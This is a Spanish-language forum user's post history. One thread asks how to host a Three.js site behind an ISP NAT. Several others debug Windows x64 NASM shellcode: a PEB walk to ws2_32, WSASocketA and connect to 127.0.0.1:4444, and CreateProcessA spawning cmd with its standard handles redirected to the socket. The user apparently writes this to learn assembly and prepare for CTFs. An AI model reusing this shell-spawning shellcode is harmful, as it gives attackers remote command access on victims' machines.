Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - otroWeyMas.nasm

#1
Citar#!drvy,
ok intentaré lo que mencionas. Y es cierto, no me había puesto a pensar en eso

CitarEsto no es recomendable. Usa un hosting o un VPS ya sea de pago o gratuito que te permita subir tu página web y tener una IP fija. Usar tu conexión personal para estas cosas trae tiempos de caída anormales y te limita en tu día (imagínate si tienes que reiniciar tu PC, se cae tu web).

CitarRandomize
si, no tengo de otra, y si puedo, pero no he tenido problemas con el servicio, en twitter se hacen tendencias las otras compañías por sus fallos, y en la que tengo no me ha pasado nada, por eso no me quiero retirar, pero es tedioso tener que discutir con ellos para que al final no me resuelvan nada y en change,org vi comentarios que exigen hasta pagos mas elevados.

Bueno, mientras hago lo que menciona drvy, hablaré con las empresa, sino me tendré que ir a un ciber y poner mi servidor en una de sus computadoras  jaja... NO ES CIERTO, es broma, no me vayan a empezar a buscar porque piensan que voy a poner mi página de jackeos y cryptos y quien sabe que más cosas. Ya hay mucha gente muy paranoica.

Gracias, saludos. 
#2
Hola

Tengo una pregunta, espero alguien tenga una idea de que podrìa hacer.

Mi ISP me tiene encerrado en un NAT, no me permite conexiones entrantes, ya intente DMZ, abrir puertos, etc... simplemente no se puede.

Ahorita me puse a hacer diseños en Threejs, porque soy un diseñador con gusto por la programaciòn, pero querìa subir una pàgina web donde pudiera mostrar diseños y venderlos si es posible, pero almenos tener evidencias por si hay interesados.

Desafortnadamente nadie puede ver mì pàgina, solo si se conectan a mi router.

Aquì la pregunta. ¿alguien sabe que puedo hacer para recibir conexiones entrantes?, tengo planeado hablar con la empresa, pero descubrì que ya hay incluso un change.org donde se esta pidiendo que abran los puertos, asì que serà algo complicado que me hagan caso.

Pero mientras logro que me hagan caso y me dejen tener conexiones entrantes, quisiear saber si tengo alguna otra opciòn, por ejemplo, ¿se puede con vpn?, lo intentè con datos de celular, pero tambièn me enterè que hay un firewall que tampoco permite conexiones entrantes y no se me ocurre que otra cosa puedo hacer, el objetivo es no tener que pelearme durante dìas y/o tener que cambiar la compañia.

Tal vez no tenga otra opciòn, o pagar un hosting, pero no se si soporten threejs ademàs que no puedo estar pagando màs servicios por ahorita.

Espero hayan opciones e ideas, sino, nimodo, tendrè que hablar con la empresa para que me dejen tener acceso y entradas libres.

Saludos.
#3
ASM / Re: Problema con CreateProcessA en nasm.
24 Noviembre 2021, 08:44 AM
No se rompan mucho la cabeza como yo, el problema es solo esto.

mov [r12+104], rcx <---
mov [r12+116], rcx <---
mov [r12+120], dword ecx <----
mov [r12+124], dword ecx <--- la suma de todo es 24


Seguiría 0x50 para el espacio, pero hay que sumar esos 24

sub rsp, 0x68  <----> 0x50  = rsp+80 + 24 = 0x68
xor r9, r9
lea r9, [r12+104]
mov [rsp+72], r9
lea r9, [r12]
mov [rsp+64], r9
mov [rsp+56], rcx
mov [rsp+48], rcx
mov [rsp+40], rcx
xor rax, rax
inc rax
mov [rsp+32], rax
xor r8, r8
xor r9, r9
xor rax, rax
call r13


Aquí en adelante es ProcessInfo.
lea r9, [r12+104]
mov [rsp+72], r9


que sería esta parte

mov [r12+104], rcx
mov [r12+116], rcx
mov [r12+120], dword ecx
mov [r12+124], dword ecx


Aquí en adelante es el inicio de STARTUPINFOA

lea r9, [r12]
mov [rsp+64], r9


Luego continua un par de null's, hasta InheritHandles = 1

siguen otros null, cmd, otro null y la ejecución de CreateProcessA.

Bueno... muchas gracias por la paciencia y la ayuda. Saludos.





Ya lo logré... después de varios intentos me di cuenta que algo no encajaba con ProcessInfo y el shadow space de CreateProcessA.

Ya funcionó.
#4
ASM / Re: Problema con CreateProcessA en nasm.
22 Noviembre 2021, 20:42 PM
Ok, lo voy a seguir revisando. Solo voy a mostrar algo que me di cuenta, tal vez no voy tan mal.

algo que note en el código de C++ fue...

rsp,0E8h

Eso significa que es un espacio de 0x58 + 0x90 = E8

Otra cosa que note es...

dword ptr [rsp+70h],68h

No me fije que le estaba asignando 44 pero debería ser 104 = 0x68

Fui siguiendo los registros con los mios y al parecer están bien, el único que me puso en duda es...

dword ptr [rsp+28h],eax

Pero igual el parametro siguiente es null, así que no veo que perjudique que yo le haya puesto...

mov [rsp+40], rdx

Pues bueno, así me quedó ahora

mov r13, rdx

xor rdx, rdx
xor r15, r15
mov edx, 0x646d6361
shr edx, 8
push rdx
mov r15, rsp    ;cmd

xor r12, r12
xor rcx, rcx
xor rdx, rdx
mov rcx, 0x90

lop_nul:
push rdx
loop lop_nul

xor rax, rax
mov al, 0x68

lea r12, [rsp]
mov [r12], dword eax
mov [r12+4], rcx
mov [r12+12], rcx
mov [r12+20], rcx
mov [r12+24], rcx

xor rdx, rdx
mov dl, 255
inc rdx

mov [r12+0x3c], edx
mov [r12+0x50], rdi
mov [r12+0x58], rdi
mov [r12+0x60], rdi


xor rdx, rdx

sub rsp, 0x58

lea r9, [r12]
mov [rsp+64], r9
lea r9, [r12+104]
mov [rsp+72], r9
mov [rsp+56], rdx
mov [rsp+48], rdx
mov [rsp+40], rdx
xor rax, rax
inc rax
mov [rsp+32], rax
xor r8, r8
xor r9, r9
mov rdx, r15
xor rcx, rcx

call r13


Solo por curiosidad pase RCX de 0x78 hasta 0xa0, pero igual no se acomodó el stack xP.

Seguiré pensando que más puedo hacer. Gracias.

#5
ASM / Re: Problema con CreateProcessA en nasm.
22 Noviembre 2021, 01:39 AM

Ok, si logro entender en donde esta desalineado, pero no consigo alinearlo y sigue crasheando esa parte en el debugger, ya intente modificarlo usando MOD en la calculadora, pero no lo consigo.

Espero me puedan ayudar otro poco o me puedan explicar como alinearlo, sino pues igual gracias por la respuesta.
#6
ASM / Problema con CreateProcessA en nasm.
21 Noviembre 2021, 19:19 PM
Hola.

Tengo un problema tratando de usar CreateProcessA en nasm, he estado intentando hacerlo funcionar, pero no logro que se ejecute bien, primero lo intente de la siguiente manera.


mov r13, rdx  ;CreateProcessA

xor rdx, rdx
xor r15, r15
mov edx, 0x646d6361
shr edx, 8
push rdx
mov r15, rsp    ;cmd

xor rdx, rdx
push rdi  ;socket
push rdi  ;socket
push rdi  ;socket
push rdx
push rdx
xor rax, rax
inc rax
rol rax, 8
push rax    ;0x00000100
push rdx
push rdx
push rdx
push rdx
push rdx
push rdx
push rdx
push rdx
push rdx
push rdx
xor rax, rax
add al, 44
push rax
xor r14, r14
mov r14, rsp ;STARTUPINFOA

xor r12, r12
sub rsp, 0x16
mov r12, rsp  ;ProcessInfo

sub rsp, 0x58 ;shadowspace

mov [rsp+72], r12 ;ProcessInfo
mov [rsp+64], r14 ;STARTUPINFOA
mov [rsp+56], rdx
mov [rsp+48], rdx
mov [rsp+40], rdx
xor rax, rax
inc rax
mov [rsp+32], rax
xor r8, r8
xor r9, r9
mov rdx, r15  ;cmd
xor rcx, rcx

call r13


Pero creo esta mal alineado entre ProcessInfo y el "shadowspace" que coloqué, la verdad no se si otra vez estoy pisando o borrando el stack, o incluso puede ser que el código este mal.

Bueno, así que lo hice de otra manera, que es la siguiente,

mov r13, rdx ;CreateProcessA

xor rdx, rdx
xor r15, r15
mov edx, 0x646d6361
shr edx, 8
push rdx
mov r15, rsp    ;cmd

xor r12, r12
xor rcx, rcx
xor rdx, rdx
mov rcx, 0x80  ;espacio para STARTUPINFOA y ProcessInfo

lop_nul:
push rdx
loop lop_nul

xor rax, rax
mov al, 44

lea r12, [rsp]
mov [r12], dword eax ;STARTUPINFOA
mov [r12+4], rcx
mov [r12+12], rcx
mov [r12+20], rcx
mov [r12+24], rcx

xor rdx, rdx
mov dl, 255
inc rdx

mov [r12+0x3c], edx         ;0x00000100
mov [r12+0x50], rdi         ;socket
mov [r12+0x58], rdi         ;socket
mov [r12+0x60], rdi         ;socket


xor rdx, rdx

sub rsp, 0x58

lea r9, [r12]
mov [rsp+64], r9     ;STARTUPINFOA
lea r9, [r12+104]
mov [rsp+72], r9     ;ProcessInfo
mov [rsp+56], rdx
mov [rsp+48], rdx
mov [rsp+40], rdx
xor rax, rax
inc rax
mov [rsp+32], rax
xor r8, r8
xor r9, r9
mov rdx, r15     ;"cmd"
xor rcx, rcx

call r13


Creo esta mejor alineado, traté de abrir espacio para no pisar nada, pero igual tampoco funcionó, y ya nosé que más debo hacer, me cuesta trabajo alinear a 16 todo, pero no sé si sea eso, o esté mal algún parámetro o estoy pisando y/o borrando algo del stack... ya me bloqué.

Espero me puedan ayudar, para ya terminar esto y ponerme a estudiar más sobre seguridad con CTF's y retos, pero mi mente solo está pensando... "y si le sumo, y si le resto y si checo con mod en tal cosa y si cambio el registro" y es horrible  :xD jeje.

Bueno, saludos.
#7
JAJAJAJAJA  :¬¬ :xD

Me siento muy torpe, después de dos días, lo único que me faltaba era el "shadow space", no sabia que se llamaba así, pero bueno, ya logré solucionarlo y de paso aprendí el termino de "Microsoft x64 calling convention". Batalle mucho para entender eso de reservar espacio para el CALL en Winx64 y fue lo primero que no hice.

Bueno, gracias Eternal, tema solucionado.
#8
Hola

Tengo una duda sobre una conexión socket en Nasm usando Windows x64, durante estos días de no poder salir me puse a estudiar ensamblador y me gustó la idea de aprender a usar socket, lo hice inicialmente en el linux, y ahora en Windows, lo hice de esa manera por la razón de Nasm.

Bueno, encontré algunas diferencias, en linux se pueden usar los registros básicos, push y call en x86 pero en x64 debes usar RSI y  RDI para poder hace un socket, en windows pasa lo mismo, puedes usar registros, y PUSH y hacer CALL, pero al parecer en x64 no se puede, bueno... si se puede, pero no de la misma manera, y los registros que se utilizar para ejecución son RCX, RDX, R8, R9... etc....

Ya con eso hice el muy clásico PEB para encontrar la manera de llegar a la librería ws2_32.dll para después invocar WSAStartup, WSASocketA, etc...

Primero hice uno en x86 que funcionó, y luego quise pasarlo a x64, supuse era algo parecido, así que con un debugger fui comparando resultados, todo iba bien  hasta que llegué a necesitar AF_INET, como bien saben es lo básico, WSASocketA(2,1,6,0,0,0).

Me costó trabajo, pero cuando el debugger me dejó de mostrar error y logré avanzar, no me salió el mismo resultado comparandolo con el de x86, pero luego con el de x86 me di cuenta que no es un resultado constante, así que continué...

Obtuve la función connect y meto a la pila AF_INET, puerto e IP,  luego abro espacio de la estructura, meto lo guardado en la pila, coloco el descriptor socket y ejecuto connect.

Pero por lo que se imaginarán no funciona, obtengo del registro RAX=00000000FFFFFFFF, ya intente varias cosas, busque en google, traté de orientarme del único ejemplo que conseguí de exploit-db, pero no logro saber que hago mal... Les dejo el código completo, por si me pueden ayudar.

Aclaro, no soy profesional, ni llevo años en ASM, soyOtroWeyMas que intenta aprender de internet, si pudieran explicarme con palabras no tan de informáticos avanzados, sería genial y por favor.
Espero no les moleste.



xor rcx, rcx
mov rcx, 0x4174
push rcx
mov rcx, 0x656b636f53415357 ;WSASocketA
push rcx
mov rdx, rsp
mov rcx, r15

sub rsp, 0x30
call r14

add rsp, 0x40

xor rcx, rcx
mov [rsp+32], rcx
mov [rsp+40], rcx

push rcx
pop r9
mov r8b, 6
inc rcx
mov rdx, rcx
inc rcx

call rax

mov rdi, rax

xor rcx, rcx
mov rcx, 0x7463656e6e6f63
push rcx
mov rdx, rsp
mov rcx, r15

sub rsp, 0x28
call r14

add rsp, 0x30

xor r8, r8
xor rcx, rcx

push dword 0x0100007f
push word 0x5c11
mov cl, 2
push word cx

mov r8b, 16
mov rdx, rsp
mov rcx, rdi

call rax